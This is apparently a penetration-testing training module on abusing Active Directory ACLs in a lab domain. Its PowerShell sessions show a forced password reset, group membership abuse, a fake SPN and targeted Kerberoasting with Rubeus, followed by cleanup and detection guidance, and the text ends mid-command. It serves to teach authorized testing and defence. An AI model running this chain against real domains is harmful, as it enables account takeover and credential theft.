# ACL Abuse Tactics ## ACL Abuse Tactics *** ### Abusing ACLs Once again, to recap where we are and where we want to get to. We are in control of the `wley` user whose NTLMv2 hash we retrieved by running Responder earlier in the assessment. Lucky for us, this user was using a weak password, and we were able to crack the hash offline using Hashcat and retrieve the cleartext value. We know that we can use this access to kick off an attack chain that will result in us taking control of the `adunn` user who can perform the DCSync attack, which would give us full control of the domain by allowing us to retrieve the NTLM password hashes for all users in the domain and escalate privileges to Domain/Enterprise Admin and even achieve persistence. To perform the attack chain, we have to do the following: 1. Use the `wley` user to change the password for the `damundsen` user 2. Authenticate as the `damundsen` user and leverage `GenericWrite` rights to add a user that we control to the `Help Desk Level 1` group 3. Take advantage of nested group membership in the `Information Technology` group and leverage `GenericAll` rights to take control of the `adunn` user So, first, we must authenticate as `wley` and force change the password of the user `damundsen`. We can start by opening a PowerShell console and authenticating as the `wley` user. Otherwise, we could skip this step if we were already running as this user. To do this, we can create a [PSCredential object](https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.pscredential?view=powershellsdk-7.0.0). **Creating a PSCredential Object** ```powershell-session PS C:\htb> $SecPassword = ConvertTo-SecureString '' -AsPlainText -Force PS C:\htb> $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword) ``` Next, we must create a [SecureString object](https://docs.microsoft.com/en-us/dotnet/api/system.security.securestring?view=net-6.0) which represents the password we want to set for the target user `damundsen`. **Creating a SecureString Object** ```powershell-session PS C:\htb> $damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force ``` Finally, we'll use the [Set-DomainUserPassword](https://powersploit.readthedocs.io/en/latest/Recon/Set-DomainUserPassword/) PowerView function to change the user's password. We need to use the `-Credential` flag with the credential object we created for the `wley` user. It's best to always specify the `-Verbose` flag to get feedback on the command completing as expected or as much information about errors as possible. We could do this from a Linux attack host using a tool such as `pth-net`, which is part of the [pth-toolkit](https://github.com/byt3bl33d3r/pth-toolkit). **Changing the User's Password** ```powershell-session PS C:\htb> cd C:\Tools\ PS C:\htb> Import-Module .\PowerView.ps1 PS C:\htb> Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose VERBOSE: [Get-PrincipalContext] Using alternate credentials VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'damundsen' VERBOSE: [Set-DomainUserPassword] Password for user 'damundsen' successfully reset ``` We can see that the command completed successfully, changing the password for the target user while using the credentials we specified for the `wley` user that we control. Next, we need to perform a similar process to authenticate as the `damundsen` user and add ourselves to the `Help Desk Level 1` group. **Creating a SecureString Object using damundsen** ```powershell-session PS C:\htb> $SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force PS C:\htb> $Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword) ``` Next, we can use the [Add-DomainGroupMember](https://powersploit.readthedocs.io/en/latest/Recon/Add-DomainGroupMember/) function to add ourselves to the target group. We can first confirm that our user is not a member of the target group. This could also be done from a Linux host using the `pth-toolkit`. **Adding damundsen to the Help Desk Level 1 Group** ```powershell-session PS C:\htb> Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members CN=Stella Blagg,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Marie Wright,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Jerrell Metzler,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Evelyn Mailloux,OU=Operations,OU=Logistics-HK,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Juanita Marrero,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Joseph Miller,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Wilma Funk,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Maxie Brooks,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Scott Pilcher,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Orval Wong,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=David Werner,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Alicia Medlin,OU=Operations,OU=Logistics-HK,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Lynda Bryant,OU=Operations,OU=Logistics-HK,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Tyler Traver,OU=Operations,OU=Logistics-HK,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Maurice Duley,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=William Struck,OU=Operations,OU=Logistics-HK,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Denis Rogers,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Billy Bonds,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Gladys Link,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Gladys Brooks,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Margaret Hanes,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Michael Hick,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Timothy Brown,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Nancy Johansen,OU=Operations,OU=Logistics-HK,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Valerie Mcqueen,OU=Operations,OU=Logistics-LAX,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL CN=Dagmar Payne,OU=HelpDesk,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL ``` ```powershell-session PS C:\htb> Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose VERBOSE: [Get-PrincipalContext] Using alternate credentials VERBOSE: [Add-DomainGroupMember] Adding member 'damundsen' to group 'Help Desk Level 1' ``` A quick check shows that our addition to the group was successful. **Confirming damundsen was Added to the Group** ```powershell-session PS C:\htb> Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName MemberName ---------- busucher spergazed damundsen dpayne ``` At this point, we should be able to leverage our new group membership to take control over the `adunn` user. Now, let's say that our client permitted us to change the password of the `damundsen` user, but the `adunn` user is an admin account that cannot be interrupted. Since we have `GenericAll` rights over this account, we can have even more fun and perform a targeted Kerberoasting attack by modifying the account's [servicePrincipalName attribute](https://docs.microsoft.com/en-us/windows/win32/adschema/a-serviceprincipalname) to create a fake SPN that we can then Kerberoast to obtain the TGS ticket and (hopefully) crack the hash offline using Hashcat. We must be authenticated as a member of the `Information Technology` group for this to be successful. Since we added `damundsen` to the `Help Desk Level 1` group, we inherited rights via nested group membership. We can now use [Set-DomainObject](https://powersploit.readthedocs.io/en/latest/Recon/Set-DomainObject/) to create the fake SPN. We could use the tool [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast) to perform this same attack from a Linux host, and it will create a temporary SPN, retrieve the hash, and delete the temporary SPN all in one command. **Creating a Fake SPN** ```powershell-session PS C:\htb> Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain VERBOSE: [Get-Domain] Extracted domain 'INLANEFREIGHT' from -Credential VERBOSE: [Get-DomainSearcher] search base: LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=adunn)(name=adunn)(displayname=adunn)))) VERBOSE: [Set-DomainObject] Setting 'serviceprincipalname' to 'notahacker/LEGIT' for object 'adunn' ``` If this worked, we should be able to Kerberoast the user using any number of methods and obtain the hash for offline cracking. Let's do this with Rubeus. **Kerberoasting with Rubeus** ```powershell-session PS C:\htb> .\Rubeus.exe kerberoast /user:adunn /nowrap ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.2 [*] Action: Kerberoasting [*] NOTICE: AES hashes will be returned for AES-enabled accounts. [*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts. [*] Target User : adunn [*] Target Domain : INLANEFREIGHT.LOCAL [*] Searching path 'LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=adunn)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' [*] Total kerberoastable users : 1 [*] SamAccountName : adunn [*] DistinguishedName : CN=Angela Dunn,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL [*] ServicePrincipalName : notahacker/LEGIT [*] PwdLastSet : 3/1/2022 11:29:08 AM [*] Supported ETypes : RC4_HMAC_DEFAULT [*] Hash : $krb5tgs$23$*adunn$INLANEFREIGHT.LOCAL$notahacker/LEGIT@INLANEFREIGHT.LOCAL*$ ``` Great! We have successfully obtained the hash. The last step is to attempt to crack the password offline using Hashcat. Once we have the cleartext password, we could now authenticate as the `adunn` user and perform the DCSync attack, which we will cover in the next section. *** ### Cleanup In terms of cleanup, there are a few things we need to do: 1. Remove the fake SPN we created on the `adunn` user. 2. Remove the `damundsen` user from the `Help Desk Level 1` group 3. Set the password for the `damundsen` user back to its original value (if we know it) or have our client set it/alert the user This order is important because if we remove the user from the group first, then we won't have the rights to remove the fake SPN. First, let's remove the fake SPN from the `adunn` account. **Removing the Fake SPN from adunn's Account** ACL Abuse Tactics ```powershell-session PS C:\htb> Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain VERBOSE: [Get-Domain] Extracted domain 'INLANEFREIGHT' from -Credential VERBOSE: [Get-DomainSearcher] search base: LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=adunn)(name=adunn)(displayname=adunn)))) VERBOSE: [Set-DomainObject] Clearing 'serviceprincipalname' for object 'adunn' ``` Next, we'll remove the user from the group using the `Remove-DomainGroupMember` function. **Removing damundsen from the Help Desk Level 1 Group** ```powershell-session PS C:\htb> Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose VERBOSE: [Get-PrincipalContext] Using alternate credentials VERBOSE: [Remove-DomainGroupMember] Removing member 'damundsen' from group 'Help Desk Level 1' True ``` We can confirm the user was indeed removed: **Confirming damundsen was Removed from the Group** ```powershell-session PS C:\htb> Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName |? {$_.MemberName -eq 'damundsen'} -Verbose ``` Even though we performed as much cleanup as possible, we should still include every modification that we make in our final assessment report. Our client will want to be apprised of any changes within the environment, and recording everything we do during an assessment in writing helps our client and us should questions arise. This is just one example attack path. There could be many attack paths in a large domain, some shorter and some more complicated. While this path was fictional for this specific lab environment, I have seen similar attack paths during real-world engagements, and ACL attacks often come into play for furthering access. Sometimes, though, an ACL attack chain may be too time-consuming or potentially destructive, so we may prefer to enumerate the path to present our client with enough evidence to understand the issue and perform remediation. *** ### Detection and Remediation A few recommendations around ACLs include: 1. `Auditing for and removing dangerous ACLs` Organizations should have regular AD audits performed but also train internal staff to run tools such as BloodHound and identify potentially dangerous ACLs that can be removed. 2. `Monitor group membership` Visibility into important groups is paramount. All high-impact groups in the domain should be monitored to alert IT staff of changes that could be indicative of an ACL attack chain. 3. `Audit and monitor for ACL changes` Enabling the [Advanced Security Audit Policy](https://docs.microsoft.com/en-us/archive/blogs/canitpro/step-by-step-enabling-advanced-security-audit-policy-via-ds-access) can help in detecting unwanted changes, especially [Event ID 5136: A directory service object was modified](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136) which would indicate that the domain object was modified, which could be indicative of an ACL attack. If we look at the event log after modifying the ACL of the domain object, we will see some event ID `5136` created: **Viewing Event ID 5136** ![image](https://academy.hackthebox.com/storage/modules/143/event5136.png) If we check out the `Details` tab, we can see that the pertinent information is written in [Security Descriptor Definition Language (SDDL)](https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language) which is not human readable. **Viewing Associated SDDL** ![image](https://academy.hackthebox.com/storage/modules/143/event5136_sddl.png) We can use the [ConvertFrom-SddlString cmdlet](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/convertfrom-sddlstring?view=powershell-7.2) to convert this to a readable format. **Converting the SDDL String into a Readable Format** ```powershell-session PS C:\htb> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0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1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)" Owner : BUILTIN\Administrators Group : BUILTIN\Administrators DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions, Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)...} SystemAcl : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse), BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), INLANEFREIGHT\Domain Users: SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess (Traverse)...} RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor ``` If we choose to filter on the `DiscretionaryAcl` property, we can see that the modification was likely giving the `mrb3n` user `GenericWrite` privileges over the domain object itself, which could be indicative of an attack attempt. ```powershell-session PS C:\htb> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463